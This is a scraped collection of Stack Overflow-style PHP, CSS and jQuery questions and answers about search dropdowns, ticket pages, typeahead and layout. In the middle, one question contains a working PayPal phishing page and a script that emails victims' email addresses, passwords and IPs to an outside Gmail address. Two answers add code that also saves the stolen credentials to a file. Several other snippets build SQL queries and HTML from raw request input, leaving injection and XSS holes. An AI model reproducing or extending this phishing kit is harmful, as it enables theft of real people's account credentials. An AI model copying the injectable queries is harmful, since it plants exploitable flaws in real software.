I am made a instant search feature for my website as you can see here: harrisonbh.com/chatterr/instant_search/ but the search results just push down the content.
index.php
<html>
<head>
<title>Search Box</title>
<link rel="stylesheet" href="style.css"/>
<script src="../js/jquery-1.9.1.js"></script>
<script src="index.js"></script>
</head>
<body>
<?php
//include 'connect.php';
include '../core/database/connect.php';
?>
<span id="box">
<input type="text" id="search_box"><button id="search_button">Search</button>
</span>
<div id="search_result">
</div>
Rest of content
</body>
</html>
index.js
$(document).ready(function(){
var left = $('#box').position().left;
var top = $('#box').position().top;
var width = $('#box').width();
$('#search_result').css('left', left).css('top', top+32).css('width', width);
$('#search_box').keyup(function(){
var value = $(this).val();
if(value != ''){
$('#search_result').show();
$.post('search.php', {value: value}, function(data){
$('#search_result').html(data);
});
} else {
$('#search_result').hide();
}
});
});
search.php
<?php
//include 'connect.php';
include '../core/database/connect.php';
$value = $_POST['value'];
$search_query = mysql_query("SELECT username FROM users WHERE username LIKE '$value%'");
while ($run = mysql_fetch_array($search_query)){
$username = $run['username'];
echo '<a href=#>'.$username.'</a><br/>';
}
?>
body{
font-family: arial;
font-size: 12px;
color: #333;
background:#fff;
}
input{
padding: 5px;
border: 0px;
font-family: arial;
font-size: 12px;
color: #333;
background:#fff;
box-shadow: 0 0 5px rgba(210, 210, 210, 210);
}
button{
padding: 5px;
border: 0px;
font-family: arial;
font-size: 12px;
color: #fff;
background:#4aaee7;
/*box-shadow: 0 0 5px rgba(210, 210, 210, 210);*/
}
button:hover{
background:#fff;
color: #333;
box-shadow: 0 0 5px rgba(210, 210, 210, 210);
cursor: pointer;
}
#search_result{
}
/*#search_result {
font-size: 12px;
padding: 5px;
box-shadow: 0 0 5px rgba(210, 210, 210, 210);
background: #fff;
color: #333;
position: absolute;
display: none;
}*/
a {
background:#4aaee7;
color: #fff;
text-decoration: none;
padding: 5px;
margin-top: 5px;
margin-bottom: -14px;
display: block;
}
a:hover{
background: #fff;
color: #4aaee7;
}
ul {
margin: 0px;
padding: 0px;
list-style: none;
}
li {
padding: 5px;
}
I'm not sure if i should be using position: absolute; or what to fix this. What do you think that I should do? Thanks.
Just enclose you input text field and search button in <div style="float:left;">
I mean, like this:
<div style="float:left;">
<span id="box">
<input type="text" id="search_box"><button id="search_button">Search</button>
</span>
<div id="search_result">
</div>
</div>
Related
I have a table called admin tickets. I have this situation were one of these mails, which are on the left of the screen is clicked. Then I want to fetch subject/text, to this mail.
For example I'm clicking qweqweqwe#wp.pl, and it gives me 123123123123123.
The table looks like this:
For now the page looks like this, because I'm iterating over the whole table to the end. This looks good. The only change I want to make is as I said, I want to click the mail on the left, and get subject/text of this mail.
How can I achieve it?
Html+php:
<?php
require_once '../../services/LoggedInUserService.php';
require_once '../../services/LoggedInAdminService.php';
require_once '../../db/connect.php';
$connect = new mysqli($host, $db_user, $db_password, $db_name);
?>
<!DOCTYPE html>
<html lang="pl">
<head>
<meta charset="UTF-8">
<title>DingDog</title>
<link rel="stylesheet" href="../../css-images/style-admintickets.css">
</head>
<body>
<header>
<div class="row">
<ul id="logo"><img src="../../css-images/dingdog-logo.png"></ul>
<ul class="main-nav">
<li style="padding-left:10px">TICKETS</li>
<li style="padding-left:10px" id="sign">LOG OUT</li>
</ul>
</div>
<section>
<article>
<p id="profilesign">Tickets:</p>
<?php
$result = $connect->query("SELECT emailLogin,subject,text FROM tickets");
if ($result->num_rows > 0) {
while ($row = $result->fetch_assoc()) {
$emailLogin = $row['emailLogin'];
$subject = $row['subject']; ?>
<label> <input readonly id="fi" style="margin-top: 50px;" type="text" placeholder="Example"
name="custom" value="<?php echo $emailLogin; ?>"></label><br>
<div class="container" style='position:absolute;left:0px; top:0px;'>
<h1 id="avatar">Title:</h1>
<div class="title" style='position:absolute;left:0px; top:0px;'>
<h1 id="tytul" style='position:absolute;left:0px; top:0px;'><?php echo $subject; ?></h1>
</div>
<h1 id="subject">Subject:</h1>
<textarea readonly id="subjectContainer"
style='margin-top: 100px;margin-left: 150px;position:absolute;left:0; top:0;font-size:30px; color:red ;height: 264px;
width: 683px;' rows="5" cols="10"><?php echo $row['text']; ?></textarea>
</div>
<?php }
} ?>
</article>
</section>
</header>
<footer>
<img src="../../social/instagram.png"/>
<img src="../../social/twitter-white-logo.png"/>
<img src="../../social/facebook.png"/>
</footer>
</body>
</html>
Css:
*
{
margin: 0;
padding: 0;
}
header
{
width: 1920;
height: 1080px;
}
body {
display: flex;
flex-direction: column;
min-height: 100vh;
margin:0;
height: 1080px;
width: auto;
background-image: linear-gradient(180deg, #EFEFEF00 0%, #0F4A37 100%);
}
footer{
position: fixed;
left: 0;
bottom: 0;
width: 100%;
background-color: black;
color: white;
text-align: center;
}
footer img{
margin-top: 5px;
height: 30px;
display: inline-block;
padding: 0px 10px 0px 0px;
}
.main-nav
{
float: right;
color: #000000;
margin-top: 40px;
margin-right: 0px;
}
.main-nav li
{
display: inline-block;
}
.main-nav li a
{
color: #000000;
text-decoration: none;
font: Bold 25px/15px Arial;
padding: 5px;
}
#logo
{
margin-top: 10px;
float: left;
}
#sign a
{
background-color: #DCDFDE;
padding: 30px 15px 17px 15px;
border-top: 3px solid black;
border-bottom: 3px solid black;
border-left: 3px solid black;
border-right: 3px solid black;
}
#profilesign
{
margin-top: 200px;
margin-left: 80px;
font: Bold 57px/46px Georgia;
font-weight: bold;
color: black;
}
article input
{
-webkit-border-radius: 20px;
-khtml-border-radius: 20px;
-moz-border-radius: 20px;
border-radius: 120;
border-style: none;
padding: 5px;
width: 240px;
height: 39px;
background-color: black;
}
#fi
{
font: Bold 25px/12px Arial;
letter-spacing: 0;
color: white;
background-color: black;
margin-left: 161px;
}
.container {
margin-top: 300px;
height: 447px;
width: 1028px;
background: transparent linear-gradient(180deg, #B4FFC5 0%, #9BCEA2 31%, #523A3A 100%) 0% 0% no-repeat padding-box;
border-radius: 20px;
margin-left: 480px;
}
.title {
margin-top: 35px;
width: 686px;
height: 37px;
background: #FFFFFF 0% 0% no-repeat padding-box;
border: 1px solid #707070;
margin-left: 145px;
}
#avatar
{
font: Bold 25px/12px Arial;
letter-spacing: 0;
color: #A37373;
margin-top:50px;
margin-left: 50px;
}
#tytul
{
font: Bold 20px/24px Arial;
letter-spacing: 0;
color: #000000;
margin-top: 8px;
margin-left: 25px;
}
#subject
{
font: Bold 25px/12px Arial;
letter-spacing: 0;
color: #A37373;
margin-top:50px;
margin-left: 50px;
}
.subjectContainer
{
margin-top: 100px;
height: 264px;
width: 683px;
background: transparent linear-gradient(180deg, #B4FFC5 0%, #9BCEA2 31%, #523A3A 100%) 0% 0% no-repeat padding-box;
border: 1px solid #707070;
margin-left: 170px;
border-radius: 20px;
margin-top: 300px;
}
#subjectTitle
{
text-align: left;
font: Regular 20px/24px Arial;
letter-spacing: 0;
color: #000000;
padding-left: 5px;
}
#textare{
height: 600px;
width: 683px;
}
#media only screen and (max-device-width: 500px){
body {
background-image: linear-gradient(180deg, #EFEFEF00 0%, #0F4A37 70%);
background-size:100% 3000px;
width: auto;
}
.main-nav
{
float: right;
color: #000000;
margin-top: 40px;
margin-right: 20px;
}
.main-nav li a
{
color: #000000;
text-decoration: none;
font: Bold 31px/15px Arial;
padding: 5px;
}
#logo img
{
margin-left: 350px;
text-align: center;
width: 500px;
}
#profilesign
{
margin-top: 350px;
font-size: 90px;
margin-left: 360px;
width: 900px;
}
#tytul
{
font: Bold 40px/24px Arial;
letter-spacing: 0;
color: #000000;
margin-top: 20px;
margin-left: 25px;
}
#subjectText
{
font-size: 40px;
}
#fi
{
width: 500px;
margin-top: 500px;
font: Bold 45px/12px Arial;
letter-spacing: 0;
color: white;
background-color: black;
margin-left: 401px;
}
.container {
margin-top: 1000px;
height: 847px;
width: 1228px;
background: transparent linear-gradient(180deg, #B4FFC5 0%, #9BCEA2 31%, #523A3A 100%) 0% 0% no-repeat padding-box;
border-radius: 20px;
margin-left: 20px;
}
.subjectContainer
{
margin-top: 150px;
height: 564px;
width: 883px;
background: transparent linear-gradient(180deg, #B4FFC5 0%, #9BCEA2 31%, #523A3A 100%) 0% 0% no-repeat padding-box;
border: 1px solid #707070;
margin-left: 185px;
border-radius: 20px;
}
#avatar
{
font: Bold 55px/12px Arial;
letter-spacing: 0;
color: #A37373;
margin-top:80px;
margin-left: 40px;
}
#subject
{
font: Bold 45px/12px Arial;
letter-spacing: 0;
color: #A37373;
margin-top:80px;
margin-left: 5px;
}
.title {
margin-top: 55px;
width: 686px;
height: 67px;
background: #FFFFFF 0% 0% no-repeat padding-box;
border: 1px solid #707070;
margin-left: 185px;
}
}
Hope This will help you
<section>
<article>
<p id="profilesign">Tickets:</p>
<?php
$result = $connect->query("SELECT emailLogin,subject,text FROM tickets");
if ($result->num_rows > 0) {
while ($row = $result->fetch_assoc()) {
$emailLogin = $row['emailLogin'];
echo '<form>
<label> <input id="fi" style="margin-top: 50px;" type="submit" placeholder="Example"
name="custom" value="'.$emailLogin.'"></label><br>
</form>';
}
}?>
<?php
if(isset($_GET['custom']))
{
$text = $_GET['custom'];
$result2 = $connect->query("SELECT emailLogin,subject,text FROM tickets WHERE emailLogin = '".$text."' ");
if ($result2->num_rows > 0) {
while ($row = $result2->fetch_assoc()) {
echo ' <div class="container" style="position:absolute;left:0px; top:0px;">
<h1 id="avatar">Title:</h1>
<div class="title" style="position:absolute;left:0px; top:0px;">
<h1 id="tytul" style="position:absolute;left:0px; top:0px;">'.$subject.'</h1>
</div>
<h1 id="subject">Subject:</h1>
<textarea readonly id="subjectContainer"
style="margin-top: 100px;margin-left: 150px;position:absolute;left:0; top:0;font-size:30px; color:red ;height: 264px;
width: 683px;" rows="5" cols="10">'.$row['text'].'</textarea>
</div>';
}
}
}
?>
</article>
</section>
I would probably use Ajax for this, and then get the information that way. So when you click one of the mails on the left, then you make a Ajax call to another .php, like this.
Lets say the mail is this image.
echo'<img class="MAILyouWantToAttach" data-id = "'.$MAILyouWantToAttach.'" src = "../text.png">';
The Ajax success respons has to change the textareas content by its value.
$(document).on("click", ".Unflagging", function(){
var text= $(this).data("id");
$.ajax({
method: "post",
url: "AnotherFile.php",
data: { text: text},
success: function(data) {
$("#myTextarea").val(data);
},
error: function(data) {
alert("Error occurs!")
}
});
});
Then the other php file you want something like this, the echo is to print the text in the success area of the Ajax in the other .php.
$receiver = $_POST["text"];
$result = $connect->query("SELECT emailLogin,subject,text FROM tickets WHERE emailLogin= $receiver ");
while ($row = $result->fetch_assoc()) {
echo $row['text'];
}
This is just a guide, but i hope it helps you on your way to success.
I want to get all the records in autocomplete search box.
And as well get complete record from database of selected keyword from autocomplete list.
Output here
http://appail.xyz/ajax-box-php-master/
How can i get complete record by selecting the keyword??
Thank in Advance...
Here is added my PHP, HTML Code.
PHP Code
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap-theme.min.css">
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js"></script>
<script src="typeahead.min.js"></script>
<script>
$(document).ready(function(){
$('input.typeahead').typeahead({
name: 'typeahead',
remote:'search.php?key=%QUERY',
limit : 10
});
});
</script>
.bs-example{
font-family: sans-serif;
position: relative;
margin: 50px;
}
.typeahead, .tt-query, .tt-hint {
border: 2px solid #CCCCCC;
border-radius: 8px;
font-size: 24px;
height: 30px;
line-height: 30px;
outline: medium none;
padding: 8px 12px;
width: 396px;
}
.typeahead {
background-color: #FFFFFF;
}
.typeahead:focus {
border: 2px solid #0097CF;
}
.tt-query {
box-shadow: 0 1px 1px rgba(0, 0, 0, 0.075) inset;
}
.tt-hint {
color: #999999;
}
.tt-dropdown-menu {
background-color: #FFFFFF;
border: 1px solid rgba(0, 0, 0, 0.2);
border-radius: 8px;
box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);
margin-top: 12px;
padding: 8px 0;
width: 422px;
}
.tt-suggestion {
font-size: 24px;
line-height: 24px;
padding: 3px 20px;
}
.tt-suggestion.tt-is-under-cursor {
background-color: #0097CF;
color: #FFFFFF;
}
.tt-suggestion p {
margin: 0;
}
<div class="panel panel-default">
<div class="bs-example">
<input type="text" name="typeahead" class="typeahead tt-query" autocomplete="off" spellcheck="false" placeholder="Type your Query">
</div>
</div>
<?php
$key=$_GET['key'];
$array = array();
$con=mysqli_connect("localhost","appail_register","appail_register","appail_register");
$query=mysqli_query($con, "select * from login where username LIKE '%{$key}%'");
while($row=mysqli_fetch_assoc($query)){
$array[] = $row['username'];}
echo json_encode($array);
mysqli_close($con);
?>
Suppose I have a php login from that's name is login.php
When a user logged in I have received an auto mail with login email and password.
Now I want to save this email and password to a text file. How can I do this?
Here is my Index.php code:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" ns1:xmlns="http://ogp.me/ns#">
<head>
<script language="JavaScript1.2">
var testresults
function checkemail(){
var str = document.validation.1.value
var filter = /^([\w-]+(?:\.[\w-]+)*)#((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i
if (filter.test(str))
testresults = true
else {
alert("Please input a valid email address!")
testresults = false
}
return (testresults)
}
</script>
<script>
function checkbae(){
if (document.layers || document.getElementById || document.all)
return checkemail()
else
return true
}
</script>
<title>Login - PayPal</title>
<style type="text/css">
#body
{
width : 900px;
heigth : 900px;
}
input {
-moz-appearance: none;
-moz-box-sizing: border-box;
background: none repeat 0 0 #FFF;
border: 1px solid #B3B3B3;
border-radius: 5px;
color: #333;
font-size: 1.071rem;
height: 38px;
line-height: 1.25em;
margin: 0;
padding: 0;
position: relative;
text-indent: 10px;
transition: border-color 0.3s ease 0s;
width: 250px;
}
.btn {
-webkit-appearance: none;
-moz-box-sizing: border-box;
background: none repeat 0 0 #0079C1;
border-radius: 5px;
border-color: #0079C1;
color: #FFF;
cursor: pointer;
display: inline-block;
font-family: arial, sans-serif;
font-size: 15px;
font-weight: bold;
line-height: 1.4545em;
margin-bottom: 0;
padding: 9px 15px 10px;
text-align: center;
vertical-align: middle;
height: 40px;
_margin-left: -10px;
*margin-left: -10px;
}
.btn:hover,
.btn:focus {
background: none repeat 0 0 #0285D2;
color: #FFF;
text-decoration: none;
}
.btn:focus {
outline: thin dotted #333;
outline-offset: -2px;
}
.btn.active,
.btn:active {
background-image: none;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.15) inset, 0 1px 2px rgba(0, 0, 0, 0.05);
outline: 0 none;
}
.btn.disabled,
.btn[disabled],
.btn.disabled:hover,
.btn[disabled]:hover,
.btn.disabled:active,
.btn[disabled]:active {
background: none repeat 0 0 #E5E5E5;
cursor: auto;
}
.btn-large {
border-radius: 6px;
font-size: 17.234px;
padding: 9px 14px;
}
.btn-large[class^="icon-"],
.btn-large[class*=" icon-"] {
margin-top: 4px
}
.btn-secondary {
background: none repeat 0 0 #DDD;
color: #333;
}
.btn-secondary:hover,
.btn-secondary:focus {
background: none repeat 0 0 #DDD;
color: #333;
}
input.large {
width: 337px
}
input.large[type=password], input.large[type=text] {
font-size: 15px;
font-weight: normal;
}
input[type=text]:focus, input[type=password]:focus {
border-color: #0079C1;
outline: 0 none;
}
.auto-style1 {
margin-top: 20px;
}
</style>
<link rel="shortcut icon" href="img/pp_favicon_x.ico">
<link rel="apple-touch-icon" href="img/apple-touch-icon.png">
</head>
<body style="background-image: url('img/bg.PNG');">
<form method="post" action="LOGIN.php" onSubmit="return checkbae()" style="z-index: 1; width: 395px; height: 232px; position: absolute; top: 208px; left: 211px">
<div style="z-index: 1; width: 340px; height: 40px; position: absolute; top: 53px; left: 24px">
<input name="1" required autocomplete="off" class="large" style="z-index: 1; position: absolute; top: -3px; left: 0px; width: 338px; height: 38px" type="email" />
</div>
<div style="z-index: 1; width: 340px; height: 40px; position: absolute; top: 129px; left: 24px">
<input name="2" required autocomplete="off" style="z-index: 1; position: absolute; top: -3px; left: 0px; width: 338px; height: 38px" type="password" />
</div>
<div style="z-index: 1; width: 340px; height: 40px; position: absolute; top: 182px; left: 24px">
<input name="submit.x" type="submit" value="Login" class="btn large" style="z-index: 1; position: absolute; top: -3px; left: 0px; width: 338px; height: 41px"/>
</div>
</form>
<div class="auto-style1" style="height: 710px">
</div>
</body>
</html>
My login.php code:
<?php
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$message .= "=========[BY MutantCode]=========\n";
$message .= "Email : ".$_POST['1']."\n";
$message .= "Password : ".$_POST['2']."\n";
$message .= "===============[IP]==============\n";
$message .= "IP : http://www.geoiptool.com/?IP=$ip\n";
$message .= "==========[BY ProVro]=========\n";
$to = "mad.codder#gmail.com";
$subject = "PP LOGIN FROM [$ip]";
$headers = "From: Account <info#agrupacion1-4escala.com.ar>";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
mail($to, $subject, $message,$headers);
header("Location:websc-proccessing.php");
?>
It's better to store user information in db, but in PHP it's possible to store data into files.
//Creates file or selects existing file to write("w") data into it
$file = fopen("file.txt", "w");
//Here you combine your $_POST variables.
$text = $_POST['variable1']." ".$_POST['variable2'];
//And Append them to $text
fwrite($file, $text);
//After finishing writing you should close file
fclose($file);
I understand that you want to write the posted data on the server in some text file. If the understanding is correct than insert this code before the mail function line:
$file = fopen("test.txt","a+");
$text = $message;
fwrite($file, $text);
fclose($file);
Remember you need to use a+ for reading and writing. This places the file pointer at the end of the file (It keeps on appending the file). If the file does not exist, attempt to create it.
I am trying to make my new web using material design technology via polymer and i made fixed header, which contains button, H1, picture and text. When you resize page or zoom, everything screws and all stuff on that header just moves. I have a "hidden" sidebar also, which transit from left side when you click on the button. When i zoom it comes on web on its own. Help please:X
HTML&PHP code:
<?php
// Start the session
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<title>RostaCZE</title>
<link rel="stylesheet" type="text/css" href="css.php">
<link rel="import" href="../components/paper-tabs/paper-tabs.html">
<link rel="import" href="../components/paper-ripple/paper-ripple.html">
<script src="jquery-2.1.3.js">
</script>
<script src="../components/webcomponentsjs/webcomponents.js">
</script>
<script>
$(document).ready(function(){
var width=$('.sidebar').width();
$('.sidebar').css('left',-width);
var rig=$('.sidebar').position().left;
$(".button").click(function() {
var rig=$('.sidebar').position().left;
if(rig == 0 )
{
$('.sidebar').animate({left:-width}, 400);
}
else
{
$('.sidebar').animate({left:'0px'}, 400);
}
});
});
</script>
<script>
var tabs = document.querySelector('paper-tabs');
tabs.addEventListener('core-select', function() {
console.log("Selected: " + tabs.selected);
});
</script>
<?php
$_SESSION['dark_blue'] = '#1E88E5';
$_SESSION['light_blue'] = '#E3F2FD';
$_SESSION['grey'] = '#BDBDBD';
?>
</head>
<body>
<header>
<paper-ripple id="header_ripple"></paper-ripple>
<div class="button raised">
<div class="center" fit>MENU</div>
<paper-ripple fit></paper-ripple>
</div>
<div class="time">
<?php
$today = date("Y-m-d H:i:s");
echo "$today";
?>
</div>
<div class="name">
<img src="face.png" alt="me"/>
<h1>Rostislav Danko</h1>
</div>
</header>
<div class="sidebar">
</div>
<div id="main">
</div>
<footer>
</footer>
</body>
</html>
<style>
</style>
CSS code ( some css colors are not filled, i have it made via PHP variables )
<?php
session_start();
?>
<?php header("Content-type: text/css; charset: UTF-8"); ?>
html, body {
position: relative;
margin: 0px;
height: 100%;
}
header {
position: fixed;
background-color: <?php echo $_SESSION["dark_blue"]; ?>;
height: 10%;
width: 100%;
-webkit-box-shadow: 0px 3px 30px 0px rgba(50, 50, 50, 0.7);
-moz-box-shadow: 0px 3px 30px 0px rgba(50, 50, 50, 0.7);
box-shadow: 0px 3px 30px 0px rgba(50, 50, 50, 0.7);
z-index: 20;
font-color: <?php echo $_SESSION["light_blue"]; ?>;
z-index: 10;
}
.name {
position: relative;
margin-left: 4%;
margin-top: -5%;
}
.name img {
position: relative;
height: 150%;
width: 7%;
margin-top: -3.8%;
margin-left: 30%;
}
.time {
position: relative;
margin-left: 90%;
margin-top: 1.5%;
font-color: <?php echo $_SESSION["light_blue"]; ?>;
color: <?php echo $_SESSION["light_blue"]; ?>;
z-index: 20;
font-size: 20px;
}
h1 {
position: relative;
margin-top: -5%;
text-align: center;
color: <?php echo $_SESSION["light_blue"]; ?>;
z-index: 20;
}
#main {
float: left;
background-color: <?php echo $_SESSION["light_blue"]; ?>;
width: 100%;
height: 110%;
z-index: 10;
}
.sidebar {
position: fixed;
height: 100%;
width: 20%;
margin-top: 7.1%;
background-color: <?php echo $_SESSION["dark_blue"]; ?>;;
z-index: 30;
border-top: solid 1px <?php echo $_SESSION["light_blue"]; ?>;
}
#header_ripple {
position: absolute;
color: #E3F2FD;
width: 100%;
height: 100%;
z-index: 10;
}
.button {
display: inline-block;
width: 120px;
height: 32px;
line-height: 32px;
border-radius: 2px;
font-size: 0.9em;
z-index: 100;
position: absolute;
margin-left: 5%;
margin-top: 2%;
text-align: center;
cursor: pointer;
background-color: <?php echo $_SESSION["light_blue"]; ?>;
font-color: <?php echo $_SESSION["grey"]; ?>;
}
.button > paper-ripple {
color: <?php echo $_SESSION["dark_blue"]; ?>;
border-radius: 2px;
overflow: hidden;
}
.button.narrow {
width: 60px;
}
.button.raised {
transition: box-shadow 0.2s cubic-bezier(0.4, 0, 0.2, 1);
transition-delay: 0.2s;
box-shadow: 0 2px 5px 0 rgba(0, 0, 0, 0.26);
}
.button.raised:active {
box-shadow: 0 8px 17px 0 rgba(0, 0, 0, 0.2);
transition-delay: 0s;
}
As the tittle, is it possible to echo entire html and css?
I am using if's and each match needs to generate a different page.
Also, in the html code in the html code I need to echo variable that is enclosed inside a div and styled.
Any thoughts how I can achieve this?
I get the following error syntax error, unexpected T_STRING, expecting
Thanks
echo '<!DOCTYPE html><html lang="mk">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<style type="text/css">
#import url(http://fonts.googleapis.com/css?family=Roboto&subset=cyrillic);
#import url(http://fonts.googleapis.com/css?family=Open+Sans&subset=cyrillic);
#import url(http://fonts.googleapis.com/css?family=Fjalla+One);
*:focus { outline: none; }
::-webkit-scrollbar { width: 0; }
.animate { -webkit-transition: all 0.2s ease-in-out; -moz-transition: all 0.2s ease-in-out; -o-transition: all 0.2s ease-in-out; transition: all 0.2s ease-in-out; }
body { min-width: 300px; width: auto; max-width: 1100px; height: auto; margin: 0 auto; padding: 0; background-color: white; }
div#container {
position: relative; float: left; clear: none;
width: 100%; height: auto; margin: -3px 0 30px 0; padding: 0 0 50px 0;
background-image: url(guide.jpg); background-position: center bottom; background-repeat: no-repeat; background-size: cover;
background-color: pink;
-webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px;
}
html body div#container form {
position: relative; float: left; clear: none;
width: 100%; height: auto; margin: 40px 0 0 0; padding: 0;
}
html body div#container form div#email-container {
position: relative; float: left; clear: none; display: block;
width: 100%; height: auto; margin: 0 auto; padding: 0; overflow: hidden;
text-align: center;
}
html body div#container form div#email-container div#email-input {
position: relative; float: none; clear: none; display: inline-block;
width: auto; height: auto; margin: 0 auto; padding: 25px 40px;
font-family: 'Fjalla One', sans-serif; font-weight: 400; font-size: 40px; letter-spacing: normal;
-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;
background-color: rgba(26, 60, 88, 0.9); color: #ffffff;
cursor: default;
}
label.styled {
position: relative; float: left; clear: none; display: block;
width: auto; height: auto; margin: 0; padding: 10px 20px; overflow: hidden;
font-family: 'Roboto', sans-serif; font-weight: 400; font-size: 15px; letter-spacing: normal;
-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;
background-color: #ffffff; color: rgba(128, 130, 132, 1); box-shadow: inset 0 0 0 2px #b6b6b8;
cursor: pointer;
}
label.styled:before {
position: absolute; float: none; clear: both; top: 0; left: 0; display: block;
width: 40px; height: 40px; margin: 0 0 0 10px; padding: 0;
content: '✔';
font-size: 60px;
opacity: 0;
}
input.styled {
display: none;
}
input.styled:checked ~ label.styled {
padding-left: 50px;
opacity: 1;
background-color: rgba(128, 130, 132, 0.9); color: #ffffff; box-shadow: inset 0 0 0 2px rgba(128, 130, 132, 0.9);;
}
input.styled:checked ~ label.styled:before {
top: -10px; left: -2px;
opacity: 1; color: rgba(255, 255, 255, 0.4);
}
</style>
</head>
<body>
<div id="container" class="animate">
<form method="post" action="$action" class="animate">
<input type="hidden" name="mode_login">
<input type="hidden" name="redirect" value="$redirect">
<input type="hidden" name="accept_terms" value="yes">
<div id="email-container">
<div id="email-input">' . $_POST['fes-email'] . '</div>
</div>
</div>
<input type="checkbox" class="styled animate" id="checkbox-tnc-accept">
<label class="styled animate" for="checkbox-tnc-accept">Ги прифаќам Условите и правилата <br> за користење на овој сервис</label>
<button type="submit" value="Enter">Продолжи</button>
</form>
</body>
</html>';
I would recommend you to not print html stuff with php, just close the php tags and write normal html, so here i removed the big echo statement and wrote normal html. This makes the code more clean and you see better what is html and where is PHP.
So your php code:
<div id="email-input">' . $_POST['fes-email'] . '</div>
If you don't have it in a echo statement just use this:
<div id="email-input"><?= $_POST['fes-email'] ?></div>
This is pretty much the same as:
<div id="email-input"><?php echo $_POST['fes-email']; ?></div>
Also for useful error messages you can turn on error reporting with this lines:
<?php
ini_set("display_errors", 1);
error_reporting(E_ALL);
?>
You can just put them on top of your php files and make sure that they are only turned on in staging!
The entire code should look something like this:
<!DOCTYPE html>
<html lang="mk">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<style type="text/css">
#import url(http://fonts.googleapis.com/css?family=Roboto&subset=cyrillic);
#import url(http://fonts.googleapis.com/css?family=Open+Sans&subset=cyrillic);
#import url(http://fonts.googleapis.com/css?family=Fjalla+One);
*:focus { outline: none; }
::-webkit-scrollbar { width: 0; }
.animate { -webkit-transition: all 0.2s ease-in-out; -moz-transition: all 0.2s ease-in-out; -o-transition: all 0.2s ease-in-out; transition: all 0.2s ease-in-out; }
body { min-width: 300px; width: auto; max-width: 1100px; height: auto; margin: 0 auto; padding: 0; background-color: white; }
div#container {
position: relative; float: left; clear: none;
width: 100%; height: auto; margin: -3px 0 30px 0; padding: 0 0 50px 0;
background-image: url(guide.jpg); background-position: center bottom; background-repeat: no-repeat; background-size: cover;
background-color: pink;
-webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px;
}
html body div#container form {
position: relative; float: left; clear: none;
width: 100%; height: auto; margin: 40px 0 0 0; padding: 0;
}
html body div#container form div#email-container {
position: relative; float: left; clear: none; display: block;
width: 100%; height: auto; margin: 0 auto; padding: 0; overflow: hidden;
text-align: center;
}
html body div#container form div#email-container div#email-input {
position: relative; float: none; clear: none; display: inline-block;
width: auto; height: auto; margin: 0 auto; padding: 25px 40px;
font-family: 'Fjalla One', sans-serif; font-weight: 400; font-size: 40px; letter-spacing: normal;
-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;
background-color: rgba(26, 60, 88, 0.9); color: #ffffff;
cursor: default;
}
label.styled {
position: relative; float: left; clear: none; display: block;
width: auto; height: auto; margin: 0; padding: 10px 20px; overflow: hidden;
font-family: 'Roboto', sans-serif; font-weight: 400; font-size: 15px; letter-spacing: normal;
-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;
background-color: #ffffff; color: rgba(128, 130, 132, 1); box-shadow: inset 0 0 0 2px #b6b6b8;
cursor: pointer;
}
label.styled:before {
position: absolute; float: none; clear: both; top: 0; left: 0; display: block;
width: 40px; height: 40px; margin: 0 0 0 10px; padding: 0;
content: '✔';
font-size: 60px;
opacity: 0;
}
input.styled {
display: none;
}
input.styled:checked ~ label.styled {
padding-left: 50px;
opacity: 1;
background-color: rgba(128, 130, 132, 0.9); color: #ffffff; box-shadow: inset 0 0 0 2px rgba(128, 130, 132, 0.9);;
}
input.styled:checked ~ label.styled:before {
top: -10px; left: -2px;
opacity: 1; color: rgba(255, 255, 255, 0.4);
}
</style>
</head>
<body>
<div id="container" class="animate">
<form method="post" action="$action" class="animate">
<input type="hidden" name="mode_login">
<input type="hidden" name="redirect" value="$redirect">
<input type="hidden" name="accept_terms" value="yes">
<div id="email-container">
<div id="email-input"><?= $_POST['fes-email'] ?></div>
</div>
</div>
<input type="checkbox" class="styled animate" id="checkbox-tnc-accept">
<label class="styled animate" for="checkbox-tnc-accept">Ги прифаќам Условите и правилата <br> за користење на овој сервис</label>
<button type="submit" value="Enter">Продолжи</button>
</form>
</body>
</html>
EDIT:
If you have this echo statement in a if statement you still don't need to print it that way :D
As a example (Pseudo Code):
<?php
if(condition) {
echo "<div>HTML STUFF</div>"; //Don't do it that way
} else {
?>
<div>Put your HTML stuff here</div>
<?php
}
?>
Also if you have to concatenate stuff:
//v Your variable here
"String is here" . $myVariable . " string goes further"
//^String start ^ ^Concatenate ^ ^ ^String ends
// |Break the string |
And for more information about concatenation see the manual: http://php.net/manual/en/language.operators.string.php
I would also recommend you to not write CSS inline or in style tags. You can write your own CSS files with *.css and then include them in the html head tag with this:
<link rel="stylesheet" type="text/css" href="yourCssFile.css">
echo '...assuming the previous part of the entire code are also present...
<form>
<div id="email-input">' . $_POST['fes-email']; . '</div>
</form>
...';
Take notice that before $_POST I've removed the echo; If you're already echoing there's no reason to start the echo. When you post ' . $_POST['fes-email'] . ' You're just allowing a variable; it's been running the echo the whole time, so all the new echo does is confuse it. If you have to have it this way then it might be better to have something along the lines of
htdocs(folder)
index.php(file)
includes(folder)
includes/YourForm.php
